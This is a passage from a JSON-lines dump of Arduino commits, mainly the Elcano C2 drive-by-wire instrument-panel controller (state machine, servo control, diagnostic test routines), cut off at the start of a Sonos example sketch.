asc2hex(byte * array) {\n byte b = 0;\n if (*array >= 0x41 && *array <= 0x66) {\n b = (*array & 0x0F) + 9 << 4;\n } else if (*array >= 0x30 && *array <= 0x39) {\n b = (*array - 0x30) << 4;\n }\n array++;\n if (*array >= 0x41 && *array <= 0x66) {\n b |= (*array & 0x0F) + 9;\n } else if (*array >= 0x30 && *array <= 0x39) {\n b |= (*array - 0x30);\n }\n return b;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'waFirmata_dht_MaxMatrix_MFRC522_Joypad_GY291_G3_HX711_SoftwareSerial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"da8192dcd5de629a5bada3502ac413d89bfac9e6","subject":"Servo extend and retract test","message":"Servo extend and retract test\n","repos":"jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano","old_file":"Elcano_C2_In_Out\/Elcano_C2_In_Out.ino","new_file":"Elcano_C2_In_Out\/Elcano_C2_In_Out.ino","new_contents":"\/*\nElcano Contol Module C2: Instrument panel controls and LEDs.\nThis routine handles simple drive-by-wire, as well as handing control over to the\ncomputer based on the state of the enable switches.\n*\/\n\n\n#define MEGA\n#define STEP_SIZE_ms 5\n#define TEST_MODE\n#ifndef TRUE\n#define TRUE 1\n#define FALSE 0\n#endif\n\n#ifdef MEGA\n#include \"IO_Mega.h\"\n#else\n#include \"IO_2009.h\"\n#endif\n\nvoid Display (int n);\n\/*\n\nThere are four principle states. \"Enable\" is considered a generic state that encompasses the\nthree switches for Throttle, Brake and Steer. The four main states have additional substates\ncorresponding to the state of these three systems. The system can simultaneaous be in mixed states,\ne.g. \"Cruise Go\" on Throttle and Brakes and \"Manual Go\" on Steering.\nWhen Cruise is enabled on a system, \"Joystick Motion\" means major motion in that axis:\nLeft to right for Steer, Forward for Throttle, Reverse for Brake. Minor joystick motions will\nnot take an enabled system into manual mode, but major motion will.\n\nMS: Manual Stop State: Stop LED On, Cruise LED Off,\n Throttle Off, Brakes Off, Steer responds to joystick but not to computer.\n Joystick is centered.\n Enable Off.\n\nCS: Cruise Stop State: Stop LED On, Cruise LED On,\n Throttle Off, Brakes Off, Steer responds to computer.\n Joystick is centered.\n Enable On.\n \nMG: Manual Go State: Stop LED Off, Cruise LED Off,\n Throttle, Brakes, Steer respond to joystick but not to computer.\n\nCG:Cruisel Go State: Stop LED Off, Cruise LED On,\n Throttle, Brakes, Steer respond to computer.\n Joystick is centered.\n Enable On.\n\nThere are five controls that can transition between states:\nCruise button.\n MS -> MS; CS -> CG; MG -> CG; CG -> CG.\nJoystick motion\n MS -> MG; CS -> MG; MG -> MG; CG -> MG.\nEnable Switch On\n MS -> CS; CS N\/A; MG -> MG; CG N\/A.\nEnable Switch Off\n MS N\/A; CS -> MS; MG -> MG; CG -> MG.\nStop button\n MS -> MS; CS -> CS; MG -> MS; CG -> CS.\nE-stop\n MS -> MS; CS -> CS; MG -> MS; CG -> CS. E-stop also removes power to the traction motor.\nIf the E-stop button has been pushed, transition to MG or CG is blocked until\npower is restored. Restoring power is done by turning the key or pressing \nthe remote E-stop button (RC4) a second time. There is a dead zone of several seconds between the\nfirst button push and the second push, allowing the vehicle to come to a stop.\n\nStates: *\/\n const int ManualStop = 0;\n const int CruiseStop = 1;\n const int ManualGo = 3;\n const int CruiseGo = 4;\n\n\n\nvolatile int Stop = TRUE;\nvolatile unsigned long TimeOfStopButton_ms;\nvolatile int Cruise = FALSE;\nvolatile unsigned long TimeOfCruiseButton_ms;\nconst int PauseTime_ms = 4000;\nunsigned long TimeOfReverseButton_ms;\nint Forward;\n\nconst int Full = 255; \/\/ fully on for PWM signals\nconst int Off = 0;\nconst int FullThrottle = 179; \/\/ 3.5 V\nconst int MinimumThrottle = 39; \/\/ Throttle has no effect until 0.75 V\nconst int FullBrake = 255; \nconst int MinimumBrake = 127;\nconst int HardLeft = 127;\nconst int HalfLeft = 159;\nconst int Straight = 191;\nconst int HalfRight = 223;\nconst int HardRight = 255;\n\/* Elcano Servo range is 50 mm for brake, 100 mm for steering.\n\n Elcano servo has a hardware controller that moves to a\n particular position based on a PWM signal from Arduino.\n Wikispeed servo is the same, except that controller box has\n buttons for extend, retract, or moving to three preset positions.\n \n Elcano servo is fully retracted on a pulse width of 2 ms;\n fully extended at 1 ms and centered at 1.5 ms.\n There is a deadband of 8 us.\n At 12v, servo operating speed is 56mm\/s with no load or\n 35 mm\/s at maximum load.\n The Arduino PWM signal is at 490 Hz or 2.04 ms.\n 0 is always off; 255 always on. One step is 7.92 us.\n \n Either servo has five wires, with observed bahavior of:\n White: 0V\n Yellow: 5V\n Blue: 0-5V depending on position of servo.\n Black: 12V while servo extends; 0V at rest or retracting.\n Red: 12V while retracting; 0V at rest or extending.\n The reading on the Blue line has hysteresis when Elcano sends a PWM signal; \n there appear to be different (PWM, position) pairs when retracting or extending.\n Motor speed is probably controlled by the current on the red or black line. \n*\/\n\n const int Motor = 0;\n const int Brakes = 1;\n const int Steering = 2;\n class _Instruments\n {\n public:\n int Enabled; \/\/ whether cruise control is enabled.\n int State;\n int StickMoved; \/\/ bool\n int Joystick; \/\/ position of stick\n int LastCommand; \/\/ last commanded\n int MinPosition;\n int MaxPosition;\n int Feedback; \/\/ actual position\n int EnablePin;\n int SignalPin;\n int FeedbackPin;\n int CurrentPin;\n int CloseEnough; \/\/ in counts; Try for 0-1023\n int Stuck; \/\/ max number of time steps for not getting to position\n int StepSize; \/\/ controls how quickly the servo moves. 2\"\/sec servo max\n int QuiescentCurrent; \/\/ Nominally 120 counts\n int CurrentDraw; \/\/ In counts, with 1 Amp = 12 counts\n int CurrentLimit; \/\/ In counts\n \/\/ One count from analog input is about 5mV from ACS758lcb050U\n \/\/ The ACS758 has sensitivity of 60 mA\/V\n int move(int desired_position)\n {\n int Position = desired_position; \/\/ 0 to 1023\n Feedback = analogRead(FeedbackPin); \/\/ 0 to 1023\n if (desired_position > Feedback)\n {\n Position = min(desired_position, Feedback + StepSize);\n Position = min (Position, 1023);\n }\n else\n {\n Position = max(desired_position, Feedback - StepSize);\n Position = max(0, Position);\n }\n int PWMPosition = 127 + Position\/8;\n analogWrite(SignalPin, PWMPosition); \/\/ 0 to 255\n Serial.print(desired_position); Serial.print(\", \");\n Serial.print(Feedback); Serial.print(\", \");\n Serial.print(Position); Serial.print(\", \");\n Serial.println(PWMPosition);\n return Position;\n }\n void home(int desired_position)\n {\n return;\n int feedback_after, Position;\n int no_move_count = 0;\n do\n {\n Serial.print(\"Home \");\n Position = move (desired_position);\n delay(STEP_SIZE_ms);\n feedback_after = analogRead(FeedbackPin);\n if (abs(feedback_after - Feedback) <= CloseEnough)\n no_move_count++;\n else\n no_move_count = 0;\n if (no_move_count > Stuck)\n return;\n } while ((abs(desired_position - Feedback) > CloseEnough));\n }\n } Instrument[3];\n \/*---------------------------------------------------------------------------------------*\/ \nvoid setup() \n{ \n pinMode(ReverseButton, INPUT);\n pinMode(CruiseReverse, INPUT);\n pinMode(StopButton, INPUT); \/\/ via interrupt\n pinMode(CruiseButton, INPUT); \/\/ via interrupt\n pinMode(EnableMotor, INPUT);\n pinMode(EnableBrake, INPUT);\n pinMode(EnableSteer, INPUT);\n pinMode(StopLED, OUTPUT);\n pinMode(CruiseLED, OUTPUT);\n pinMode(TractionMotor, OUTPUT);\n pinMode(DiskBrake, OUTPUT);\n pinMode(Steer, OUTPUT);\n pinMode(Reverse, OUTPUT);\n pinMode(ReverseLED, OUTPUT); \n pinMode(AccelerateJoystick, INPUT);\n pinMode(SteerJoystick, INPUT);\n pinMode(JoystickCenter, INPUT);\n pinMode(CruiseThrottle, INPUT);\n pinMode(CruiseBrake, INPUT); \n pinMode(CruiseSteer, INPUT);\n#ifdef MEGA\n pinMode(Current36V, INPUT);\n pinMode(CurrentBrake, INPUT);\n pinMode(CurrentSteer, INPUT);\n pinMode(LED1, OUTPUT);\n pinMode(LED3, OUTPUT);\n pinMode(LED4, OUTPUT);\n pinMode(LED5, OUTPUT);\n pinMode(LED6, OUTPUT);\n pinMode(LED7, OUTPUT);\n pinMode(LED8, OUTPUT); \n Serial.begin(9600);\n initialize();\n attachInterrupt(0, CruiseRC1Pressed, RISING); \n attachInterrupt(1, StopRC2Pressed, RISING);\n attachInterrupt(3, EStopPressed, FALLING);\n attachInterrupt(4, StopPressed, RISING);\n attachInterrupt(5, CruisePressed, RISING); \n#else\n initialize();\n attachInterrupt(0, StopPressed, FALLING);\n attachInterrupt(1, CruisePressed, FALLING); \n#endif\n}\t\n\n\/*---------------------------------------------------------------------------------------*\/ \nvoid initialize()\n{\n Display (0xFF); \/\/ LED test\n digitalWrite( StopLED, HIGH);\n digitalWrite( CruiseLED, HIGH);\n \n Halt();\n \n Instrument[Motor].EnablePin = EnableMotor;\n Instrument[Motor].SignalPin = TractionMotor;\n Instrument[Motor].FeedbackPin = FeedbackMotor;\n Instrument[Motor].CurrentPin = Current36V;\n Instrument[Motor].StepSize = 20; \/\/ max from range of 1023.\n Instrument[Motor].CloseEnough = 1000; \/\/ no feedback\n Instrument[Motor].Stuck = 3;\n Instrument[Motor].MinPosition = 85; \/\/ anolog read range is 0 to 1023\n Instrument[Motor].MaxPosition = 800;\n \n \n Instrument[Steering].EnablePin = EnableSteer;\n Instrument[Steering].SignalPin = Steer;\n Instrument[Steering].FeedbackPin = FeedbackSteer;\n Instrument[Steering].CurrentPin = CurrentSteer;\n Instrument[Steering].StepSize = 20;\n Instrument[Steering].CloseEnough = 1;\n Instrument[Steering].Stuck = 3;\n Instrument[Steering].MinPosition = 85; \/\/ anolog read range is 0 to 1023\n Instrument[Steering].MaxPosition = 800;\n \n Instrument[Brakes].EnablePin = EnableBrake;\n Instrument[Brakes].SignalPin = DiskBrake;\n Instrument[Brakes].FeedbackPin = FeedbackBrake;\n Instrument[Brakes].CurrentPin = CurrentBrake;\n Instrument[Brakes].StepSize = 50;\n Instrument[Brakes].CloseEnough = 1;\n Instrument[Brakes].Stuck = 3;\n Instrument[Brakes].MinPosition = 85; \/\/ anolog read range is 0 to 1023\n Instrument[Brakes].MaxPosition = 800;\n \n Instrument[Motor].Feedback = \n analogRead(Instrument[Motor].FeedbackPin);\n Instrument[Steering].Feedback = \n analogRead(Instrument[Steering].FeedbackPin);\n Instrument[Brakes].Feedback = \n analogRead(Instrument[Brakes].FeedbackPin);\n \/\/ Instrument[Motor].CommandedPosition\n \/\/ Instrument[Steering].CommandedPosition\n \/\/ Instrument[Brakes].CommandedPosition\n \n \/\/ assume that vehicle always stops with brakes on and wheels straight.\n \/\/ Otherwise, there is a possibility of blowing a fuse if servos try to\n \/\/ get to this state too quickly.\n Instrument[Steering].LastCommand = Straight;\n Instrument[Steering].home(Straight); \n Instrument[Motor].State = CruiseStop;\n Instrument[Brakes].State = CruiseStop;\n Instrument[Steering].State = CruiseStop;\n Instrument[Motor].Joystick = Off;\n Instrument[Brakes].Joystick = Off;\n Instrument[Steering].Joystick = Straight;\n Instrument[Motor].CurrentLimit = 230; \/\/ about 20A\n Instrument[Brakes].CurrentLimit = 55; \/\/ about 5A\n Instrument[Steering].CurrentLimit = 55;\n TimeOfStopButton_ms = 0;\n TimeOfCruiseButton_ms = 0;\n TimeOfReverseButton_ms = 0;\n Forward = TRUE;\n \/\/ Wait for everything to settle down\n delay(2000); \/\/ 2 second\n \/\/ Read quiesent state of current sensors.\n Instrument[Brakes].CurrentDraw = \n Instrument[Brakes].QuiescentCurrent = analogRead(CurrentBrake);\n Instrument[Steering].CurrentDraw = \n Instrument[Steering].QuiescentCurrent = analogRead(CurrentSteer);\n Instrument[Motor].CurrentDraw = \n Instrument[Motor].QuiescentCurrent = analogRead(Current36V);\n Display (0);\n digitalWrite( StopLED, LOW);\n digitalWrite( CruiseLED, LOW);\n \n\n}\n\/*---------------------------------------------------------------------------------------*\/ \n\n\/*---------------------------------------------------------------------------------------\n CruisePressed is called by an interrupt\n *\/ \nvoid CruisePressed()\n{\n TimeOfCruiseButton_ms = millis();\n Cruise = TRUE;\n}\nvoid CruiseRC1Pressed()\n{\n TimeOfCruiseButton_ms = millis();\n Cruise = TRUE;\n}\n\/*---------------------------------------------------------------------------------------\n StopPressed is called by an interrupt\n *\/ \nvoid StopPressed()\n{\n Halt();\n TimeOfStopButton_ms = millis();\n Stop = TRUE;\n}\nvoid StopRC2Pressed()\n{\n Halt();\n TimeOfStopButton_ms = millis();\n Stop = TRUE;\n}\nvoid EStopPressed()\n{\n Halt();\n TimeOfStopButton_ms = millis();\n Stop = TRUE;\n}\n\/*---------------------------------------------------------------------------------------*\/ \n\/\/ Bring the vehicle to a stop.\n\/\/ Stop may be called from an interrupt or from the loop.\nvoid Halt()\n{\n Instrument[Motor].LastCommand = Off;\n Instrument[Brakes].LastCommand = FullBrake;\n \/\/ TODO: make motor off and brakes on simultaneous.\n Instrument[Motor].home(Off); \n Instrument[Brakes].home(FullBrake); \n digitalWrite(StopLED, HIGH);\n}\n\n\/*---------------------------------------------------------------------------------------*\/ \nvoid loop() \n{\n unsigned long TimeSinceCmd_ms = 0; \/\/ radians\n const unsigned long MaxSilence = 2000; \/\/ ms\n unsigned long TimeNow = millis();\n unsigned long NextLoopTime_ms = TimeNow + STEP_SIZE_ms;\n static unsigned long EndTime = 0;\n static unsigned long OutsideTime;\n \n OutsideTime = EndTime - TimeNow;\n Instrument[Motor].Enabled = digitalRead(EnableMotor);\n Instrument[Brakes].Enabled = digitalRead(EnableBrake);\n Instrument[Steering].Enabled = digitalRead(EnableSteer);\n#ifdef TEST_MODE\n\/\/ testSwitches();\n\/\/ testRamp();\n\/\/ testQuick();\n\/\/ RampTest();\n ServoData();\n \n#else \/\/ not TEST_MODE\n \n JoystickMotion();\n StateTransition(Motor);\n StateTransition(Brakes);\n StateTransition(Steering);\n \n if (Instrument[Motor].State == ManualGo)\n {\n Instrument[Motor].LastCommand = Instrument[Motor].Joystick;\n }\n else if (Instrument[Motor].State == CruiseGo)\n {\n Instrument[Motor].LastCommand = analogRead(CruiseThrottle) \/ 4; \n }\n else\n {\n Instrument[Motor].LastCommand = MinimumThrottle; \n }\n Instrument[Motor].move(Instrument[Motor].LastCommand);\n \n if (Instrument[Brakes].State == ManualGo)\n {\n Instrument[Brakes].LastCommand = Instrument[Brakes].Joystick;\n } \n else if (Instrument[Brakes].State == CruiseGo)\n {\n Instrument[Brakes].LastCommand = analogRead(CruiseBrake) \/ 4; \n }\n else\n {\n Instrument[Brakes].LastCommand = FullBrake; \n }\n Instrument[Brakes].move(Instrument[Brakes].LastCommand);\n \n if (Instrument[Steering].State == ManualGo)\n {\n Instrument[Steering].LastCommand = Instrument[Steering].Joystick;\n } \n else if (Instrument[Steering].State == CruiseGo)\n {\n Instrument[Steering].LastCommand = analogRead(CruiseSteer) \/ 4; \n }\n Instrument[Steering].move(Instrument[Steering].LastCommand);\n\n if (Stop)\n digitalWrite(StopLED, HIGH);\n else\n digitalWrite(StopLED, LOW);\n if (TimeNow > TimeOfCruiseButton_ms + 400 &&\n (Instrument[Motor].StickMoved || Instrument[Brakes].StickMoved || Instrument[Steering].StickMoved))\n Cruise = FALSE;\n if (!Instrument[Motor].Enabled && !Instrument[Motor].Enabled && !Instrument[Motor].Enabled)\n Cruise = FALSE;\n if (Cruise)\n digitalWrite(CruiseLED, HIGH);\n else\n digitalWrite(CruiseLED, LOW);\n\n checkReverse(); \n#endif \/\/ TEST_MODE \n \/\/ TODO: Check out loop speed;\n \/\/ make loop faster\n \/\/ limit servo motion during loop to step size \n unsigned long fred = millis(); \n\/\/ Serial.print(fred - TimeNow);\n\/\/ Serial.print(\",\");\n do \/\/ Delay so that loop is not faster than 10 Hz.\n {\n EndTime = millis();\n } while (EndTime < NextLoopTime_ms);\n\/\/ Serial.print(EndTime - fred);\n\/\/ Serial.print(\",\");\n\/\/ Serial.print(NextLoopTime_ms);\n\/\/ Serial.print(\",\");\n\/\/ Serial.println(OutsideTime);\n \n\n} \n\/*---------------------------------------------------------------------------------------*\/ \nvoid JoystickMotion()\n{\n int stick; \/\/ 0-1023\n int center;\n const int deadBandLow = 32; \/\/ out of 1023\n const int deadBandHigh = 32;\n center = 511; \/\/ analogRead(JoystickCenter);\n int tinyDown = center - deadBandLow;\n int tinyUp = center + deadBandHigh;\n\n if (Stop && (millis() < TimeOfStopButton_ms + PauseTime_ms))\n {\n Instrument[Motor].StickMoved = FALSE;\n Instrument[Brakes].StickMoved = FALSE;\n Instrument[Steering].StickMoved = FALSE;\n return;\n }\n stick = 511; \/\/ analogRead(AccelerateJoystick);\n if (stick <= tinyUp) \/\/ 543\n {\n Instrument[Motor].Joystick = 0;\n Instrument[Motor].StickMoved = FALSE;\n }\n else\n {\n Instrument[Motor].Joystick = MinimumThrottle + (FullThrottle - MinimumThrottle)\n * (stick - tinyUp) \/ (1023 - tinyUp);\n Instrument[Motor].StickMoved = TRUE;\n Stop = FALSE;\n }\n \n if (stick >= tinyDown)\n {\n Instrument[Brakes].Joystick = 0;\n Instrument[Brakes].StickMoved = FALSE;\n }\n else\n {\n Instrument[Brakes].Joystick = MinimumBrake + (FullBrake - MinimumBrake) \n * (-stick + tinyDown) \/ tinyDown;\n Instrument[Brakes].StickMoved = TRUE;\n Stop = FALSE;\n }\n\n stick = 511; \/\/ 1023 - analogRead(SteerJoystick);\n if (stick > tinyDown && stick <= tinyUp)\n {\n Instrument[Steering].Joystick = Straight;\n Instrument[Steering].StickMoved = FALSE;\n }\n else if (stick > tinyUp)\n {\n Instrument[Steering].Joystick = Straight + (HardRight - Straight) * (stick - tinyUp) \/ (1023 - tinyUp);\n Instrument[Steering].StickMoved = TRUE;\n Stop = FALSE;\n }\n else \n {\n Instrument[Steering].Joystick = Straight + (Straight - HardLeft) * (-stick + tinyDown) \/ tinyDown;\n Instrument[Steering].StickMoved = TRUE;\n Stop = FALSE;\n }\n}\n\/*---------------------------------------------------------------------------------------*\/ \nvoid StateTransition( int system)\n{\n unsigned long Time_ms = millis(); \n switch(Instrument[system].State)\n {\n case ManualStop:\n if (TimeOfStopButton_ms + PauseTime_ms > Time_ms)\n break; \/\/ Pause time is big enough to let vehicle come to stop\n \/\/ if user pushed the stop button, let it stop before we do the next thing.\n if (Instrument[system].Enabled )\n { \/\/ Under cruise control\n Instrument[system].State = CruiseStop;\n break;\n }\n\/\/ if (joystick motion) set state.\n if (Instrument[system].StickMoved)\n {\n Instrument[system].State = ManualGo;\n }\n break;\n \n case ManualGo:\n if (Stop)\n {\n Instrument[system].State = ManualStop;\n break;\n }\n if (Cruise)\n {\n Instrument[system].State = CruiseGo;\n break;\n \/\/ respond to joystick\n }\n break;\n \n case CruiseStop:\n if (TimeOfStopButton_ms + PauseTime_ms > Time_ms)\n break;\n if (Instrument[system].StickMoved)\n {\n Instrument[system].State = ManualGo;\n break;\n }\n if (!Instrument[system].Enabled)\n {\n Instrument[system].State = ManualStop;\n break;\n }\n if (Cruise)\n {\n Instrument[system].State = CruiseGo;\n }\n break;\n \n case CruiseGo:\n if (Stop)\n {\n Instrument[system].State = CruiseStop;\n break;\n }\n if (Instrument[system].StickMoved)\n {\n Instrument[system].State = ManualGo;\n break;\n }\n if (!Instrument[system].Enabled)\n {\n Instrument[system].State = ManualGo;\n break;\n }\n break;\n }\n}\n\/*---------------------------------------------------------------------------------------*\/ \nvoid checkReverse()\n{\n unsigned long TimeNow;\n int ReversePushed;\n \n if (Instrument[Motor].State == ManualStop)\n { \n ReversePushed = digitalRead(ReverseButton);\n if (ReversePushed)\n {\n TimeNow = millis();\n if (TimeNow > TimeOfReverseButton_ms + 2000)\n {\n TimeOfReverseButton_ms = TimeNow;\n Forward = !Forward;\n }\n }\n digitalWrite(ReverseLED, !Forward);\n digitalWrite(Reverse, !Forward);\n }\n if (Instrument[Motor].State == CruiseStop || Instrument[Motor].State == CruiseGo)\n {\n Forward = !digitalRead(CruiseReverse);\n digitalWrite(ReverseLED, !Forward);\n digitalWrite(Reverse, !Forward);\n }\n}\n\n\n\/*********************************************************** \n TEST ROUTINES\n ***********************************************************\/\n \n\n#ifdef TEST_MODE\n\/* Front Panel\n\n On\/Off Stop Cruise\n \n ---------Enable----------- \n Motor Brake Steer\n \n ----------------LED -------------------\n 1 3 4 Reverse Stop\n 5 6 7 8 Cruise\n \nFor diagnostics, display an amalog input based on switches.\n\n Motor Brake Steer Octal Signal \n 0 0 0 0 AccelerateJoystick - JoystickCenter\n 0 0 1 1 Steer\n 0 1 0 2 DiskBrake\n 0 1 1 3 Current36V\n 1 0 0 4 TractionMotor\n 1 0 1 5 CurrentBrake\n 1 1 0 6 CurrentSteer\n 1 1 1 7 SteerJoystick\n*\/\n void diagnostic()\n {\n int value;\n int Pin_in = (digitalRead(EnableSteer) << 2);\n Pin_in += (digitalRead(EnableBrake) << 1);\n Pin_in += digitalRead(EnableMotor);\n switch (Pin_in)\n {\n case 0:\n default:\n value = analogRead(AccelerateJoystick);\n value -= analogRead(JoystickCenter);\n value = value >> 2;\n break;\n case 1:\n value = Instrument[Steering].LastCommand;\n break;\n case 2:\n value = Instrument[Brakes].LastCommand;\n break;\n case 3:\n value = (analogRead(Current36V) >> 2);\n break;\n case 4:\n value = Instrument[Motor].LastCommand;\n break;\n case 5:\n value = (analogRead(CurrentBrake) >> 2);\n break;\n case 6:\n value = (analogRead(CurrentSteer) >> 2);\n break;\n case 7:\n value = analogRead(SteerJoystick) >> 2;\n break;\n }\n Display (value);\n }\n \/*-------------------------------------------------------*\/\nvoid CruiseDiagnostic()\n {\n int value = 0;\n if (digitalRead(EnableMotor) == HIGH)\n value = analogRead(CruiseThrottle);\n else if (digitalRead(EnableBrake) == HIGH)\n value = analogRead(CruiseBrake);\n else if (digitalRead(EnableSteer) == HIGH)\n value = analogRead(CruiseSteer);\n value = value >> 2;\n Display (value);\n }\n \/*-------------------------------------------------------*\/\n #endif \/\/ TESTMODE\n void Display (int n)\n {\n int Bit;\n Bit = (n & 0x01)? HIGH: LOW;\n digitalWrite(LED8, Bit); \n Bit = (n & 0x02)? HIGH: LOW;\n digitalWrite(LED7, Bit); \n Bit = (n & 0x04)? HIGH: LOW;\n digitalWrite(LED6, Bit); \n Bit = (n & 0x08)? HIGH: LOW;\n digitalWrite(LED5, Bit); \n Bit = (n & 0x10)? HIGH: LOW;\n digitalWrite(ReverseLED, Bit); \n Bit = (n & 0x20)? HIGH: LOW;\n digitalWrite(LED4, Bit); \n Bit = (n & 0x40)? HIGH: LOW;\n digitalWrite(LED3, Bit); \n Bit = (n & 0x080)? HIGH: LOW;\n digitalWrite(LED1, Bit); \n }\n\n\/*---------------------------------------------------------------------------------------*\/ \n#ifdef TEST_MODE\nvoid testRamp()\n{\n \/\/ test passed for brakes and steering 5\/21\/11.\n \/\/ Computer commanded braking, steering and throttle works!\n \n int i, throttle;\n unsigned int count = 0;\n\n\/\/ write_all (LOW);\n\/\/ delay (1000);\n\/\/ for (i = MinimumThrottle; i <= MinimumThrottle+5; i++)\n\/\/ {\n\/\/ ramp(TractionMotor, i);\n\/\/ }\n\/\/ write_all (HIGH);\n\/\/ delay (1000);\n\/\/ for (i = MinimumThrottle+5; i >= MinimumThrottle; i--)\n\/\/ {\n\/\/ ramp(TractionMotor, i);\n\/\/ }\n write_all (HIGH);\n delay (1000);\n \n write_all (LOW);\n delay (1000);\n FlashMorse (count++);\n \n for (i = MinimumBrake; i <= FullBrake; i++)\n {\n ramp(DiskBrake, i);\n }\n write_all (HIGH);\n delay (1000);\n for (i = FullBrake; i >= MinimumBrake; i--)\n {\n ramp(DiskBrake, i);\n }\n \n write_all (LOW);\n delay (1000);\n for (i = Straight; i <= HardRight; i++)\n {\n ramp(Steer, i);\n }\n write_all (HIGH);\n delay (1000);\n for (i = HardRight; i >= Straight; i--)\n {\n ramp(Steer, i);\n }\n write_all (LOW);\n \n for (i = MinimumBrake; i <= FullBrake; i++)\n {\n ramp(DiskBrake, i);\n }\n write_all (HIGH);\n delay (1000);\n for (i = FullBrake; i >= MinimumBrake; i--)\n {\n ramp(DiskBrake, i);\n }\n\n delay (1000);\n for (i = Straight; i <= HardLeft; i++)\n {\n ramp(Steer, i);\n }\n write_all (HIGH);\n \n \n delay (1000);\n for (i = HardLeft; i >= Straight; i--)\n {\n ramp(Steer, i);\n }\n}\n\/*---------------------------------------------------------------------------------------*\/ \nvoid testSwitches()\n{\n \/\/ test failed 5\/2\/11. Panel LEDs do not light.\n int SwThrottle, SwBrake, SwSteer;\n SwThrottle = digitalRead(EnableMotor);\n SwBrake = digitalRead(EnableBrake);\n SwSteer = digitalRead(EnableSteer);\n digitalWrite( StopLED, SwBrake);\n digitalWrite( CruiseLED, SwThrottle);\n digitalWrite( ReverseLED, SwSteer);\n}\n\/*---------------------------------------------------------------------------------------*\/ \n\/\/ testQuick: fast operation of brakes and steering to measure peak power demand\nvoid testQuick()\n{\n int i, steer, brake;\n for (i = 0; i < 5; i++)\n {\n steer = Straight + i * (HalfRight - Straight)\/4;\n analogWrite( Steer, steer);\n brake = MinimumBrake + i * (FullBrake - MinimumBrake)\/4;\n analogWrite( DiskBrake, brake);\n }\n for (i = 5; i >= 0; i--)\n {\n steer = Straight + i * (HalfRight - Straight)\/4;\n analogWrite( Steer, steer);\n brake = MinimumBrake + i * (FullBrake - MinimumBrake)\/4;\n analogWrite( DiskBrake, brake);\n }\n\n}\n\n\/*---------------------------------------------------------------------------------------*\/ \nvoid write_all( int state)\n{\n digitalWrite( StopLED, state);\n digitalWrite( CruiseLED, state);\n digitalWrite( ReverseLED, state);\n}\n\/*---------------------------------------------------------------------------------------*\/ \nvoid ramp (int channel, int state)\n{\n analogWrite( channel, state);\n delay(100); \n\n}\n\/\/========================================================================\nvoid ServoWrite(int i, int Delay_ms)\n{\n analogWrite(DiskBrake, i);\n for (int d = 0; d < Delay_ms; d++)\n {\n int feedback = analogRead(FeedbackBrake);\n\/\/ int current = analogRead(CurrentBrake);\n delay(3);\n Serial.print(d); Serial.print(\", \");\n Serial.print(i); Serial.print(\", \");\n Serial.print(feedback); Serial.print(\", \");\n\/\/ Serial.print(current); Serial.print(\", \");\n Serial.println(millis());\n\n\n }\n}\n\/\/========================================================================\nvoid SteerWrite(int i, int Delay_ms)\n{\n analogWrite(Steer, i);\n for (int d = 0; d < Delay_ms; d++)\n {\n \/\/ int feedback = analogRead(FeedbackBrake);\n \/\/ int current = analogRead(CurrentBrake);\n Serial.print(d); Serial.print(\", \");\n Serial.print(i); Serial.print(\", \");\n\/\/ Serial.print(feedback); Serial.print(\", \");\n \/\/ Serial.print(current); Serial.print(\", \");\n Serial.println(millis());\n\n delay(1);\n return;\n }\n}\/\/=========================================================================\nvoid ServoData()\n{\n int Delay_ms = 20;\n int incr = 2;\n int i;\n for (Delay_ms = 20; Delay_ms > 0; Delay_ms--)\n {\n for (i = 127; i < 255; i+= incr)\n {\n SteerWrite(i, Delay_ms);\n ServoWrite(i, Delay_ms); \/\/ brake works 4\/18\/13 \/\/ extent is 43 mm\n }\n for (i = 255; i >= 127; i-= incr)\n {\n SteerWrite(i, Delay_ms);\n ServoWrite(i, Delay_ms);\n }\n } \n}\n\/\/==============================================================================\nvoid RampTest()\n{\n static int Position[] ={ 0, 0, 0};\n const int i = Brakes;\n for (int j = 80; j <800; j += 20) \/*Instrument[i].MinPosition; j<= Instrument[i].MaxPosition;\n j += Instrument[i].StepSize) *\/\n {\n Serial.print(\"Move up \");\n Instrument[i].move(j);\n \n\/\/ if( digitalRead(Instrument[i].EnablePin) == HIGH)\n\/\/ {\n\/\/ if (abs(Instrument[i].move(Position[i]) - Position[i]) < Instrument[i].CloseEnough)\n\/\/ {\n\/\/ if (Position[i] = Position[i]? 0: 1023;\n\/\/ }\n\/\/ }\n delay(500);\n }\n for (int j = Instrument[i].MaxPosition; j>= Instrument[i].MinPosition;\n j -= 20)\n {\n Serial.print(\"Move down \");\n Instrument[i].move(j);\n delay(500);\n }\n \n}\n\n\/*---------------------------------------------------------------------------------------\nFlash a number in Morse Code\n1 . ----\n2 ..---\n3 ...--\n4 ....-\n5 .....\n6 -....\n7 --...\n8 ---..\n9 ----.\n0 -----\n*\/ \n#define BASE 300\n#define DOT BASE\n#define DASH (4*BASE)\n#define BIT_SPACE (2*BASE)\n#define NUMBER_SPACE (10*BASE)\nvoid FlashMorse (unsigned int number)\n{\n unsigned int quotient, remainder;\n unsigned int i;\n quotient = number \/ 10;\n remainder = number % 10;\n if (quotient != 0)\n FlashMorse (quotient);\n if (remainder <= 5)\n {\n for (i = 0; i < remainder; i++)\n Flash(DOT);\n for (; i < 5; i++)\n Flash(DASH);\n }\n else\n {\n for (i = 5; i < remainder; i++)\n Flash(DASH);\n for (; i < 10; i++)\n Flash(DOT);\n }\n digitalWrite( ReverseLED, LOW);\n delay (NUMBER_SPACE);\n\n}\nvoid Flash(int DashDot)\n{\n digitalWrite( ReverseLED, LOW);\n delay (BIT_SPACE);\n digitalWrite( ReverseLED, HIGH);\n delay (DashDot);\n}\n#endif \/\/ TEST_MODE \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Elcano_C2_In_Out\/Elcano_C2_In_Out.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8baff452364aa2cf5329a324d05d2432e853bb3","subject":"HoverSonos code uploaded","message":"HoverSonos code uploaded\n","repos":"hoverlabs\/hover_particle,hoverlabs\/hover_spark,hoverlabs\/hover_spark","old_file":"examples\/HoverSonos\/HoverSonos.ino","new_file":"examples\/HoverSonos\/HoverSonos.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"application.h\"\n#include \"Hover.h\"\n\n\nbyte sonosip[] = { 192, 168, 1, 128 };\n \n\/\/#define 